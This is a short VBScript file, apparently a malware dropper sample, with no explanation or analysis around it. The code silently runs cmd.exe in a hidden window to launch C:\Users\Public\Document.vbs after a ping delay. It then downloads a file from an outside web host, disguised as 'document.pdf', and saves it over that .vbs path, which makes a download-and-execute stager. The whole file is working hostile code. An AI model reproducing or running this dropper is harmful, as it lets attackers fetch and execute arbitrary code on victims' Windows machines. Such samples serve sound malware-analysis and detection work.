htaworn

CreateObject("WScript.Shell").Run "cmd.exe /c ping 127.0.0.1 -n 10 > nul & start C:\Users\Public\Document.vbs", 0


dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", "http://facextrade.com.br/wp-document/document.pdf", False
xHttp.Send

with bStrm
    .type = 1 '//binary
    .open
    .write xHttp.responseBody
    .savetofile "C:\Users\Public\Document.vbs", 2 '//overwrite
end with